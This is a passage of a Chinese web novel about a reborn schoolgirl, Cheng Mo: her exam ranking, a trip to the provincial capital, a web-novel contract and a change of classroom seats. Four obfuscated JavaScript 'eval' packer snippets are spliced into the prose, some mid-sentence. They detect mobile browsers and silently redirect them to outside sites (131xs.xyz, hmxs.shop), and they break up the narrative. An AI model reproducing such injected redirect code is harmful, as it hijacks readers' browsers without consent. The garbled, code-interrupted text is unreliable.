回到教室，程茉发现自己的课桌上放着昨天借出去的那把三角尺，下面还压着一张精致的便利贴，漂亮的图案将纸上那歪歪扭扭的“谢谢”两字衬得更难看了。 程茉便忍不住回忆起小学语文老师有一次在班上指着李颂笑骂：“李颂你说说你，人长得有模有样的，字怎么写得那么难看！” 然后坐在她前面的李颂就仰头望着老师嘿嘿傻笑。 想到这，程茉也忍不住轻笑了下，连带着考试的疲惫也似乎消散了一分。她将尺子收起来，便利贴则依旧进了桌旁的垃圾袋。 考试这一大石从心头暂时卸下，接下来的两天，程茉便赶紧开始完成后面黑板报的绘制工作了。 程茉在网上提前找好了一堆相关的素材和图案，从中挑挑拣拣进行整合设计，在本子上绘制好了草图，最后只要再把它等比例放大复制到黑板上就行了。 看起来简单，做起来却还是很要时间和功夫的。 这个时候的粉笔颜色有限，又不太显色，加上坑坑洼洼的黑板，给程茉的绘画过程无端增加了不少难度。 好在程茉有后来的经验，知道给粉笔打湿可以让颜色变得更鲜艳，再加上陈晓萱，周若玥和林然然几人的主动帮忙，终于还是赶在五一放假前一天顺利完成了。 林然然的文字书写也完成得很快。两人站在教室后面，并肩望着面前这幅精致漂亮的黑板报，又看看对方脸上混着粉笔灰蜿蜒而下的彩色汗水，忍不住一起笑了起来。 “真好看啊！这次评比我们班肯定可以拿第一了，程茉林然然，你们两个也太厉害了吧！”陈晓萱也在一旁激动鼓掌。 黑板报收获了大家的一致好评，连后面几个不怎么关心这些的男生，在打闹时也会注意避开后面黑板，以免弄花了图案和文字。 黄仁更是满意极了。再看看手里的期中考试成绩单，他只觉得这班主任当得是越来越顺心了。 “好了，安静下来，接下来我说一下这次期中考试的成绩。”黄仁努力收起脸上藏不住的笑意，清了清嗓子接着道，“记好自己的名次，五一回来选座位就按这个顺序啊。” “程茉，班级第一名，也是全校第二名。”念出这个成绩，黄仁终究还是忍不住了，嘴角不自觉地咧到了耳后。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535892|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “看看人家程茉啊！半个学期就从全校五十名进步到了第二名，人家中午还要走回去吃饭，还没办法上晚自习，比你们少多少学习时间啊。但不管多艰苦的条件，程茉同学对待学习都不曾松懈，上课认真听讲，作业也从不打折扣。所以说啊，大家要多向程茉学习……” 黄仁在讲台上夸得唾沫横飞，台下的所有人便都目光灼灼地望向程茉。 程茉控制着自己忍不住想要低头的习惯，脊背挺直目不斜视，只有紧握着笔的手指微微的颤动着。 紧张吗？窘迫吗？还是兴奋呢？ 程茉只知道在她要去往的前方，还有许多类似的场合在等待着她，而她将毫不躲闪地去拥抱这一切。 如程茉所估计的那样，这次考试的分数并没有上次高，因为试卷难度整体增加了，其他人也是一样。 程茉在笔记本上一一记下自己各科的分数和排名：语文96，班级第一；数学92，班级第三；英语100，班级第一；生物96，班级第一；历史98，班级第一；政治97，班级第二；地理94，班级第二；总分673，比全校第一少3分。 数学排在程茉前面的是许少杰和赵勇，政治第一是周若玥，地理第一则是徐逸。 班级前五也正好是他们几个，其中许少杰，徐逸，周若玥都进了全校前十，也难怪班主任黄仁看起来如此高兴了。 因为学校只给期末考试成绩颁奖，黄仁甚至还自费买了奖状和奖品，虽然奖品只是几个两元店批发的笔记本，但这也是前世从来没有过的。 程茉领到了自己的第一名奖状和一个封面印着一只卡通丑猴子的方格笔记本，嘴角也忍不住上扬起来。 四月就在这样热热闹闹的颁奖仪式中进入了尾声，随之而来的是学生们最期待的五一三天假。 同时程茉又一次接收到了额外任务——准备好节后上交学校“五一书画征文主题展”的作品。 书法程茉的字还不太够得上，但绘画和征文却是逃不了的。程茉叹了口气，只能将五一假期的日程再详细规划一遍。 就在前一天，程兰打了电话回来，让程茉带着程莉五一坐车去省城找她玩。 因为程莉一直催着程兰把答应她的礼物带回来，偏偏程兰五一有个兼职无法请假，回不了家，便想到了让她们过去找她，也正好趁此机会出去玩一玩。 从程茉家到省城需要先坐一小时的汽车到市里，再坐一个半小时的火车，程兰去年暑假就带着程茉和程莉去过一次，所以并不太担心。 对此程莉自然很是兴奋，重生回来的程茉也很想再看看这个时期省城的发展。 而且，程茉还有一件更重要的事情要办。早在前两周程茉的小说更到三万字的时候，就在后台收到了签约短信，她需要去找姐姐帮忙完成正式的签约流程。 一件件梳理着接下来三天要做的事情，程茉和同学一一告别后，踏上了回家的路。 “今天成绩应该出来了吧？” 刚到家，程茉就迎来了正站在大门口赶着鸭子的父亲带着质疑的问题。 12. 第 12 章 程茉没有应声，只是不疾不徐地从手上拎着的袋子里翻出那张亮橙色的奖状，递给父亲后就径直上楼了。 “站在门口干嘛，怎么还不把鸭子赶进来！”苏萍从屋里出来，恼火地朝程林生喊道。 程林生却只是盯着奖状上“第一名”三个字，默不作声。 苏萍愣了一下，上前夺过他手里的奖状，看到上面程茉的名字后松了一口气，连带着语气也和缓了下来：“好了，赶紧干活吧。” 今天的晚饭格外的安静，既没有喧闹的电视背景音，也没有了程林生千篇一律的说教。连程莉也感觉到了气氛的异常，努力控制着不让自己手中的碗筷发出声响。 苏萍斜觑了一眼默默扒饭的程林生，开口打破了沉默：“小茉啊，你和小莉要带的衣物整理好了没有？明天早上六点半的车是吧？让你爸骑电瓶车送你们去车站吧。” 程茉嗯了一声道：“东西等会理。” “也行，你也一起，正好带几只鸭子去卖掉。”程林生对着苏萍开口道。 听到这话，程莉先不高兴地噘起了嘴：“啊，我不想跟鸭子坐一起，我还打算穿新衣服去的呢……” “穿什么新衣服，你以为汽车上就很干净啊！还有别忘了你去年坐车晕车吐了一路，别到时又吐自己一身！”苏萍忍不住抬高声音数落起来，“就穿件不要的旧衣服去，到那边再换！” 提到晕车，那股难闻的气味和肚子里翻江倒海的感觉仿佛又涌了上来，程莉顿时觉得手里的饭也吃不太下了，就更没有反驳的力气了。 程茉听到这也心有余悸，虽然前世在经历过高中三年每月汽车往返市里的磨炼后，她就很少再晕车了，但现在的她可还是那个一坐车就想吐的身体啊。 于是一放下碗筷，程茉便立马往行李包里又塞了好几个塑料袋和一大包卫生纸。 “这是车票和证件，放兜里收好。”苏萍过来把上午去镇里买好的火车票递给程茉，又数出五张十块的钞票塞到她手里，“钱藏好一点，坐车的时候自己小心点，看好程莉。” “我知道的，妈妈，别担心。”程茉没有推拒，接过钱后抽了一张出来预备买汽车票，剩下的都藏到了贴身衣服的小口袋里。 苏萍又蹲下去开始细细检查她们的行李，看看有没有漏带什么。 程茉低头注视着母亲，这个时候她才刚过四十岁，还没有后来藏不住的白发和皱纹，却并不显得年轻多少。 蓬乱枯槁的头发，被晒得黝黑的皮肤，还有身上散不去的鸭粪的味道，和程茉长大后所熟悉的优雅体面的样子相去甚远。 程茉小的时候曾在家里找到过一张母亲年轻时的黑白一寸照，照片上的母亲还是个十八岁的大姑娘，一根黑油油的粗麻花辫垂在胸前，白皙的脸庞上一双笑盈盈的眼睛，青涩美丽却又令人忍不住想要亲近。 听说，当年刚从大学退学的父亲就是在参加二姨和姨夫的婚礼时，第一次遇到了母亲，然后对她一见钟情。 可惜那张照片后来也不知道遗落到哪里了。 有什么东西从程茉的心头窜出，又逼上了鼻尖和眼眶。程茉仰头，望着头顶刺眼的白炽灯想，她得再努力一点，再快一点。 “应该没什么问题了。”苏萍站起身，又环顾了一圈，终究还是迟疑着又开口道：“小茉，别生你爸的气，他今天看到你的成绩其实也高兴地不得了，只是拉不下脸来……” 好像还是挡不住了啊。程茉转身，看着窗外黑漆漆的村庄，克制着声音轻轻道：“妈，早点休息吧，我也要去洗澡睡觉了，明天还得早起呢。” 好一会儿，脚步声响起，随后是门被带上的声音，和程茉脸上决堤而下的泪水。 “二姐，我洗好了，你快去吧。”程莉穿着短袖跑进来，快速把自己塞进了被窝。 “好。”程茉低头拿上换洗的衣物，趁着转身连忙抹了一把脸。 也许她永远也听不到他的那句认可，但那又怎样呢。 哗啦啦的流水带走了眼泪和那些不知名的情绪，程茉这个晚上睡得很安稳。 六点半的车，意味着最迟六点十分也得从家里出发了，所以，五点半，程茉和程莉就被苏萍叫起来洗漱收拾吃早饭了。 如同打仗一般弄好一切，姐妹两个终于迷迷糊糊地坐上了三轮电瓶车，和她们一起的还有母亲，以及几只嘎嘎乱叫的鸭子。 这辆车主要是为了方便父母上工时带一些工具以及装运鸭子用的，所以后面的车斗是没有座位的，要坐人就得自己放上小板凳。 程茉一只手抓着自己的行李，一只手用力握着车上的栏杆，摇摇晃晃地几乎又快睡着了，如果没有时不时突然袭来的一阵猛烈颠簸的话。 “到了，下车吧。”苏萍帮忙把行李先拎下来，又忍不住开始叮嘱，“到了就站在车站大门口等你们大姐，别乱走，万一迷路了，就找警察，家里的电话和你姐的电话都记着的啊？” 程茉和程莉不得不又背了一遍电话号码，才终于上了一旁等着的汽车。车窗外，苏萍又去找司机交涉了，程林生则一个人站在那辆三轮车旁边，双眼无神地不知望着何处。 因为是一大清早，有不少村民要去沿途镇上的市集卖菜或赶集，车上的人坐得满满的，东西也很多。 程茉和程莉两个挤挨着坐在汽车前部发动机盖的垫子上，紧紧抱着自己的行李。两边的大爷大妈用方言大声比较着自己的货物和货价。 车子摇摇晃晃地启动了，售票员开始穿梭着询问每个人的终点并收取票钱。 程茉拿出十块钱递给她，屁股下面发动机传来的热气混着刺鼻的汽油味，熏得程茉晕晕乎乎的。 “师傅，前面踩一脚！” 有人大喊着，于是汽车轰鸣着猛地停了下来，程茉一个仰倒往后栽下去。好在后面也堆了不少东西，才没让她磕到头。 “二姐，我好难受。”程莉嘴唇苍白，满脸的汗珠，拉着程茉的袖子小声道。 程茉连忙翻出塑料袋给她，又往程莉手里塞了几张卫生纸，让她趴在自己的膝盖上。 其实程茉也不太好受，但或许是因为心理已经适应了这种情况，她没有程莉那么严重。 后面几个乡镇又陆陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535893|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续续地有人下车有人上车，程莉终究还是没忍住吐了出来，好在有程茉的提前准备，没弄脏衣服和车里。 程茉一边轻轻替她拍着背，一边努力扭头看向窗外绿色的田野，压下了胃里的不适。 “好了，火车站到了，两个小姑娘赶紧下车。” 司机转头朝她们喊了一声，程茉立即起身拿上两人的行李，拉着程莉下了车。 这个时候的火车站还是刚刚修建不久的，远没有后来的破败，程茉仔细观察着四周的标志，带着程莉顺利检票进站了。 坐上火车就舒服多了，程莉缓了过来，又开始新奇地东张西望。虽然这不是她第一次坐火车了，但一年也难得出门一次，自然看什么都有意思。 坐在她们周围的看上去是一群互相认识的年轻人，两男两女，正在打扑克，中间小桌板上还堆了不少瓜子零食。 “小妹妹，你们两个自己坐火车啊。”其中一个留着短发看起来有点酷的女孩子看了程茉两个一眼，问道，手上抓牌的动作依旧不停。 “不是，我们和爸爸一起的，他在后面车厢，没买到一起的票。”程茉到底带着成年人的警惕，即便这群人看起来不太像坏人。 后面他们再热情地招呼她们两个吃零食时也都被程茉找借口推脱掉了。程莉虽然有点眼馋，心里却始终记着一定要听姐姐的话。 直到两人下了车出了火车站，在站前广场看见了程兰熟悉的身影，程茉才终于松了一口气。 毕竟程茉知道，在这个年代人贩子还是比较猖獗的，自己一个人也就算了，加上程莉这个什么也不懂的真小孩，多少还是有点紧张的。 “累坏了吧，想吃点什么？”程兰走上前接过程茉手里的行李，又牵起程莉的手。 “我想喝汽水！”程莉嚷着。 程兰笑着答应，又看向程茉。 程茉没什么想吃的，尤其是坐了这么久车之后，最后三个人找了一家小餐馆坐下来吃了碗米粉。 之后，程兰带着程茉程莉坐公交车到了她为了方便兼职和人合租的房子，去年她们过来玩也是住的这儿。 程兰是个很善于与人打交道也很容易令人信任的人，所以即便她小时候因为父母不停的换学校，导致刚与新同学熟识起来就又要面临分别，还是有几个深交的好友与她常年保持着通信。 而程兰现在租住的这个房子，房东太太是一位退休老教师，对她也是十分喜爱，不仅给她的房租定价格外低一些，还时不时做了好吃的送过来。 也因此，这笔额外的开支对于程兰来说并不算很大的负担，还给她带来了许多便利。 房子是个三室一厅，属于程兰的房间里面只有一张一米五大小的床和一张书桌，一个衣柜，但比起学校的宿舍来还是宽敞多了，姐妹三个人挤一挤也能睡下。 把东西放下后，程兰先哄着累得不行的程莉去换了衣服躺下来休息一会，又对程茉道：“小茉，你不是说要签约吗？我们先去网吧把这个弄好吧。” 想到自己的赚钱事业即将迈出新的一步，程茉一路的疲惫也顿时一扫而空。 13. 第 13 章 程兰带着程茉找了一家带打印机的网吧，先在网站上按照要求上传好了需要的资料和照片，然后将合同下载好打印出来。 仔细看过合同的内容后，程兰又跟程茉明确了下上面规定的版权及每年字数更新要求和续约条款等事项，对此程茉之前也有详细了解过，便都点头表示清楚。 确认无误后，仔细将合同签好，两人又坐公交去邮局将合同按照地址寄出，到时网站那边会按照他们填写的地址再将合同寄回来。 程茉还是没填家里的地址，而是让程兰先帮忙签收保管，等下次回家了再带给她。 到这一步签约就算基本完成了，等程茉回去就可以申请入V继续恢复更新了。之前为了等签约程茉改成了隔日更新，现在存稿箱里已经躺了几十章待更新了。 等两人返回到程兰租的房子，也差不多可以吃晚饭了。 将还在睡梦中的程莉叫醒，程兰决定带两个妹妹出去吃顿好的。 房子附近就有一家这两年新开的商场，步行过去也就十分钟左右，三人讨论了下，最后选了一家看起来很热闹的自助牛肉火锅。 这家店的食材很新鲜，酱料调味也很不错，程莉吃得停不下来，程茉也难得的吃撑了。 饭后，姐妹三人一边沿着商场附近的江边人行道散步消食，一边聊着天。 江的另一边是灯光璀璨的高楼林立，繁华又梦幻，让无数人如同飞蛾扑火般义无反顾地奔赴。 “明天我们去批发市场逛一逛吧，正好给你们买两身衣服，还有之前答应小莉的礼物。”程兰提议道。 这附近有不少专做大批量货物批发的档口，其中尤以服装为主，整个省内甚至周边省份一些城市的商户都会来这里进货。 有部分档口也会允许散客购买，只是价格就没有那么便宜了，也不提供试穿服务。 但比起去小店或者商场直接购买，可供选择的货品丰富度还是要高得多，也更有性价比，因此周边的大学生或年轻人时不时会花上一整天在里面慢慢淘货。 程茉没什么意见，程莉倒是十分期待。 第二天一大早，三人起来后先去楼下吃了一顿丰富的早餐，就出发去批发市场了。 程茉牵着程莉跟在姐姐身后，走进其中一栋高大的建筑，就看到两边一眼望不到头的一个个小格子间店面，三面墙连同地面都堆满了琳琅满目的服装，瘦得骨节突出的模特们一件件飞速换着样品，老板们则站在门口唾沫横飞地和顾客讲着价。 程茉看得眼花缭乱。这里的服装比起家那边的还是要新潮丰富许多的，但在她看来大部分却依然是有些过时的。 因为是要给程茉程莉两个买衣服，程兰特地挑了这层专售童装和少女风格的。她细致地一间间搜寻着，捕捉着那些适合妹妹们的款式。 “小茉，你看那套怎么样？”程兰指着右边店铺墙上挂着的一条蓝白格子裙，期待地看着程茉。 已走了一个多小时的程茉有些疲惫，不抱期望地望过去，却只觉得眼前一亮。裙子确实是她喜欢的风格，干净清新，裙摆拼接的一圈白色花边还有点设计感。 见程茉喜欢，程兰便叫老板将裙子拿了下来，大概比对了下，长度大小基本合适，又是比较宽松的版型，上身应该是没有问题的。 为了方便讲价，程兰让两人在店里再仔细看一看多挑两身。程茉实在是有些累了，就又随便挑了一件白色短袖上衣和一条复古蓝的牛仔裤，裤子的版型也是比较宽松的，有点像后来流行的阔腿裤。 程兰又给程莉挑了两身，同样是一条连衣裙，一身上下装，风格都比较可爱俏皮，很适合程莉。 接着就是最麻烦的讲价环节了。程兰和老板耐心交涉着，程茉则一手牵着走得脚疼快站不住的程莉，一手拿着衣服站在一边认真听着。 然后程茉就发现，程兰是很会讲价的，可以说与母亲不遑多让，更重要的是，程兰说出来的话能让听的人发自内心地感到舒服。 再看向手里程兰挑的审美很不错的几件衣服，程茉忽然冒出一个想法：也许程兰很适合做服装行业，不对，是很适合开一家网店卖衣服。 为什么会忽然想到开网店呢？大概是因为看着这里琳琅满目的服装，程茉忽然就想到了后来大家很少再像这样去逛线下实体店，大多转向了网购。而现在，好像正是网购即将兴起的时候，一路上，程茉就注意到了有不少人手上已经拿着各式各样的初代智能手机。 于是回去的路上，程茉开口对程兰说道：“姐，你有没有想过自己开一家服装店？” 听到这话，程兰忍不住因为妹妹的天真笑了起来：“想啊，怎么不想呢？但是开店可没有你想的那么容易哦，那是要本钱的。租店面、进货，都是要花时间、花钱的呀。” “开网店呢？我在网上看到现在已经有不少人在用淘宝购物，也有一些人在淘宝上开店了。也许你可以去试一下，这样就不用承担租金，进货也可以少进一点，等他们先下单，你再去补货。” 程兰愣住了，这是她没有想到过的方向，但听起来却不无道理。程兰大学学的就是外贸专业，在课堂上也确实听老师介绍过一些国内外的网购平台，却从没有想过自己也可以去开店。 毕竟成本再小，也是需要成本的，而程兰偏偏没有这个成本。或者说，她没办法把自己的所有积蓄拿出去赌这一把，因为她背负的不只是她自己。程兰望向趴在自己膝盖睡得正熟的程莉，又看了眼认真望着自己的程茉，有些失落的心里不禁又涌起一股暖流。 程兰并不想打击程茉，也确实觉得程茉这个建议本身是可行的。她看着程茉，轻声说：“你真的很有想法哎，小茉，我会好好考虑的。” 程茉没再多说什么，只望向车窗外，五颜六色的车流穿梭而过，带起一阵阵烟尘。 上辈子的程茉其实对钱并没有多大的执念，因为到后来，不管是程兰、程莉，还是她自己，都有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535894|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了稳定的工作和可观的收入，又还没来得及背负房贷，可以说比大部分普通人要过得轻松。但此刻她突然意识到，即便她以后赚了再多的钱，也无法弥补曾经那段因为缺钱而产生了无数遗憾的时光。 程茉忽然就想马上回去，她看着程兰说：“姐，给我们买明天最早那班车的票吧，你不是正好也要去兼职吗？” “啊？要那么早吗？最早的一趟车可是6点就开了哦，那你们5点就得起来了，真的没问题吗？”程兰有些诧异，她原本打算跟老板请假，说迟一个小时再去兼职的，这样她可以买9点钟的车票，8点半把妹妹送过去，也不会耽误很久。 “嗯，没关系的，我们今天早点睡就是了，你请假也不方便。”程茉回应道。 “好吧，这次还是太匆忙了，感觉都没有带你们去玩什么。等暑假的时候你们再过来，到时候姐姐带你们去游乐园玩。”程兰有些遗憾地说道。 “游乐园？什么游乐园？我要去游乐园！”程莉揉着眼睛坐起身，激动地喊着。 “没有，是你做梦梦到了游乐园吧。”程茉轻捏了一下她肉乎乎的脸颊，一本正经地说道，又对上姐姐揶揄的神情，两人哈哈大笑起来。 程莉看着两个奇怪的姐姐，一脸不爽地哼了一声，两只脚却不由自主欢乐地来回踢动着。 或许是因为有了前天的经历，程茉应对起来更加游刃有余、得心应手，所以即便第二天起得很早，回家的路途也显得比来时松快许多。 汽车到达镇上的时候，太阳还没升到正空。程茉看了一眼车前方悬挂的电子时钟，果然上面显示的红色数字才9点出头。 “程茉，这里！”一下车，程茉就听到了母亲的喊声。循声望去，她看见了站在路边的父母，还有那辆熟悉的电动三轮车。 苏萍仔细打量着两个女孩，看到她们虽然有些疲惫，但都全须全尾地站在面前，心里那悬了两天的石头也终于落了地。 “一路上都还顺利吧？你们中午想吃点什么？正好还没买菜。” “我想吃红烧鲫鱼！”程莉仰头看着母亲喊道。 “就你最会吃。”苏萍拍了一下程莉的头，力度却不重，随即又看向程茉。 “我都可以。赶紧买了菜我们就回去吧，我有些累了。”程茉只想赶紧回去给自己的小说入V。 苏萍看了眼她眼下的青黑，也没再多问什么。买菜的时候却还是绕去猪肉行，买了一小块程茉最爱的排骨。 至于一旁的程林生，除了一开始接过两人手里的行李，一路上就没再说过一句话。 回到家里，苏萍先去厨房做饭了，程莉则兴致勃勃地将自己的新衣服一件件套上对着镜子摆姿势，紧接着又拿出程兰买给她的芭比娃娃和彩笔一一摆弄着。 而程茉，一进房就坐到电脑面前了。 电脑开机的速度一如既往地慢，程茉的手指按在鼠标上不停点动，直到终于打开那个她熟悉的绿色网站。 14. 第 14 章 程茉先点进作者后台看了下数据，这本书目前已经爬上了一个还不错的自然榜单，评论下面每天都有不少读者在催更。 在和编辑商议好后，程茉挂好了入V公告，在后台操作完，又一口气发了一万字存稿出去。 从这以后更新的每一章就都可以看到收益了，程茉心里油然而生的成就感将这两天的疲惫一扫而空，她继续一鼓作气为自己的存稿箱添砖加码，连午饭也吃得如同囫囵吞枣，完全没注意到吃到嘴里的是什么东西。 “慢点吃，这么着急是要去考状元啊？”苏萍实在看不下去了，敲了一下碗提醒。 “我看她是写小说写得废寝忘食了……”在苏萍倏然望过来的目光里，程林生的话音终究越来越低，又生硬地转了语气道，“你妈说得对，不管是学习还是爱好，都不如身体重要。” 程茉没忍住不着痕迹地瞄了父亲一眼，放慢速度，又带了一丝笑意看着母亲说：“今天的排骨真好吃，谢谢妈妈。” “是的是的，鱼也好好吃，谢谢妈妈！”正忙着和鱼刺战斗的程莉也连忙学着姐姐嚷嚷道。 轮到自己，苏萍又忍不住习惯性地来了句：“再好吃也就是看你们坐车辛苦了吃这一回，哪禁得起天天吃。” 只是这一次，她微微翘起的嘴角和上扬的语气并没有逃过程茉的眼睛和耳朵。 午饭过后，程茉又完成了六千字存稿，这才忽然想起自己好像还忘记了一件重要的事——五一的征文和绘画作品！ 于是又是兵荒马乱的一下午。好在程莉很大方地将她新得的彩笔贡献了出来，让程茉的套路绘画成品看起来更精致了一些。 说是套路，是因为后来程茉常常在短视频平台刷到这种主旋律绘画或手工作品，所以她只是模仿着那些记忆里的成品，再加点自己的想法改了一改，应付学校的任务是完全够用的。 而曾经最让程茉头疼的正能量命题作文，在经过高中三年的议论文写作训练之后，也算不了什么了。程茉用自己的五一省城之旅为引，歌颂了一番劳动人民的伟大和祖国的繁荣，又在结尾表达了自己努力学习建设祖国的决心，是很合格的应试作文了。 等程茉检查完自己的所有假期作业和任务，将在省城为朋友们买的小礼物一一分配好，天色已经黑了下来，忙忙碌碌又丰富充实的五一假期也终于画上了一个还算圆满的句点。 “程茉。” 男孩清冽的声音在耳边响起，程茉疑惑地抬头，看向站在自己面前的徐逸。 “那个，五一作品好了吗？交给我就行。”徐逸对上程茉圆睁的双眼，看见那双漆黑的眸子里倒映着自己的身影。他感觉自己仿佛被烫了一下，立马将视线移到了面前的课桌上。 桌上摆放着好几个漂亮的卡贴，图案印着省城的标志性建筑，还贴着一张张写了小字的便利贴。 徐逸想起，刚刚过来的时候，好像听到方慧慧问了一句省城好不好玩。 曾收到过不少次类似礼物的徐逸立马就猜到了它们的用途，也许过不了多久，就会有一张出现在自己的抽屉里。 “好了。”程茉从课桌里将准备好的画作和作文稿纸拿出来递给徐逸，又低头继续写便利贴。 程茉已经很久没有为别人准备过什么礼物了，即便她从小就是一个十分注重仪式感的人。 工作以后的程茉，只恨不得所有人都是点头之交，一下班就只想一个人窝着。 但在省城给程莉买礼物的那家店里看到这些卡贴的时候，程茉脑海里就忽然浮现出了朋友们收到它们后露出笑容的画面。 一块钱两张也完全是程茉可以承担的价格，于是它们就顺理成章地跟着程茉回来了。 “我好喜欢这张，等我以后有机会去省城了也一定要去江边散步！”方慧慧拿着属于她的那一张爱不释手，看着程茉的眼睛里隐隐闪着亮光：“谢谢你，程茉，就算我们以后不是同桌了，你也是我最好的朋友。” “这是肯定的。”程茉笑着拉住她的手晃了晃。 收到礼物的女孩们反应各有不同，但高兴却是共通的，最终反应到下午的换座位环节，就是一个个都在心里暗自盘算着怎么坐得离程茉更近一些。 707班一共是六十二个同学，座位分布是八行八列，中间四列并在一起，两边靠墙各两列，夹着两条狭窄的过道。 黄仁先在黑板上画好空白的座位表，让所有人收拾好自己的抽屉拿着东西去走廊上排好队，接着开始按照期中排名一个个叫名字。 “程茉。” 在所有人的注视下，程茉拎着自己的书袋走出队伍踏进了教室。 对于接下来半个学期的座位，程茉心里早有打算，她没有犹豫，直接在黑板上写下了自己的名字，然后走到第四列第三排的位置坐了下来。 这个位置居中靠前，除了进出不是很方便外没什么缺点。但除了去洗手间，程茉课间也很少走动，坐里面也能多少避开一些过道同学的打闹和冲撞。 黄仁对这个位置也很满意，一看就是适合认真听课好好学习的好位置。他转头笑盈盈地叫出下一个名字：“许少杰。” 许少杰的目标也很明确，径直坐在了程茉左前方，第五列第二排。他放好东西后就立即从书包里掏出了练习册，对后面的选座似乎毫不关心。 本来因为两世以来头回第一个选座位有些新奇的程茉，见状不禁在心里小小反思了一下，也拿出试卷专心做起题来。 第三个进来的徐逸看了眼教室里已经坐好的两人，想起梁晴上午拿着卡贴来跟他炫耀的样子，手腕一转，将名字写在了第四列第二排。 注意到徐逸坐在了自己右边而非左边的许少杰忍不住奇怪地看了他一眼，又收回目光，继续做题。 “嗨，接下来我们要同桌啦。” 周若玥欢快的声音在耳边响起，程茉抬头，弯起眉眼朝她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16535895|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了一下：“那，同桌快乐。” 之后程茉的左边坐了林然然和陈晓萱，后面是梁晴，右前方则坐了赵勇，基本全是熟悉的人。 托这个月自己努力学习和程茉耐心辅导的福，方慧慧期中排名进步到了班级第二十六名，轮到她进来选座的时候，梁晴旁边的位置还空着，她连忙松了一口气快速坐了下来。 半节课过去，程茉的试卷都做完了一页，黑板上的座位表也被填满了一半。 李颂走了进来，他快速地朝下面看了一眼，就看见程茉后面的梁晴正朝自己挤眉弄眼，比划着她斜后方的空位。 空位左边坐着的是数学课代表孟宏宇，与李颂的关系还挺不错。 李颂迟疑了下，还是在孟宏宇的名字旁边写下了自己的名字。走到新座位上坐了下来，李颂抬头，就看见斜前方程茉高耸蓬松的马尾上，几根发丝不听话的卷翘着。弯曲的弧度，一如当年那个小女孩骄傲地命令他不许转头偷看她作业时，扬起的嘴角。 “好了，座位就这么定下来了，接下来半个学期没有特殊情况就不会大动了。不过，要是让我发现哪些人坐到一起影响课堂纪律不学好的话，就别怪我把你拎到最后面坐垃圾桶旁边去。”黄仁扫视了一圈教室，皮笑肉不笑地说道。 换了座位之后，程茉的生活并没有多大的变化，除了坐在她前面的徐逸稍微有点挡她视线。 程茉回家后又一次怨念地量了下身高，一米五九，与她上辈子成年后的身高就差0.5厘米了。 从小程茉就不爱运动，村里同龄的孩子在马路上追逐跑跳时，她却只喜欢一个人安静地看书。自从村长家搞了个农村书屋后，程茉更是仿佛老鼠掉进了米堆，一堆一堆地往家借书，连去河边洗衣服也要拿着本书去，为此还被路过的二伯娘很是嘲讽了一番。 不爱运动加上早熟，程茉早早就停止长个了，前世那始终没突破的半厘米也成了程茉心底执念的一部分。 刚重生回来时，程茉就量过一次身高，那时还是158.5，程茉心里猜测自己骨龄闭合就在这几年了。 到底还是不甘心，程茉又往自己的每日计划里增加了二十分钟跳绳和跳高摸门框三十次。 程茉又打开电脑看了眼自己连载的小说，存稿已经快写到大结局了，后台每天的收益也基本稳定在四五百左右。看来可以考虑第二本的题材和存稿了，这几天程茉也陆陆续续又攒了几个短篇寄出去，就是等待回信的日子有些难熬。 一笔笔计算着接下来可能得到的收入，程茉忍不住在心底畅想着钱到手后要怎么花。 好在这一天并没有让程茉等太久。 “程茉，那个什么少年的杂志社又来信了，还是好大一包，你快看看，是不是你的文章刊登出来了？” 这天，程茉又被班主任黄仁单独叫到了办公室，刚一进去就看到他手里拿着一个厚实的语文课本大小的包裹，高兴地朝她喊道。 15. 第 15 章 或许是被班主任激动的情绪影响，程茉感觉自己的心跳也加快了几分。她伸手接过包裹，拆开后首先映入眼帘的便是《致少年》的两本样刊，杂志的下面，是一封简短的信和一张汇款单。 程茉展开信件，只见上面简单说明了她投稿的文章刊登在杂志的哪个专栏，以及对应的稿酬。 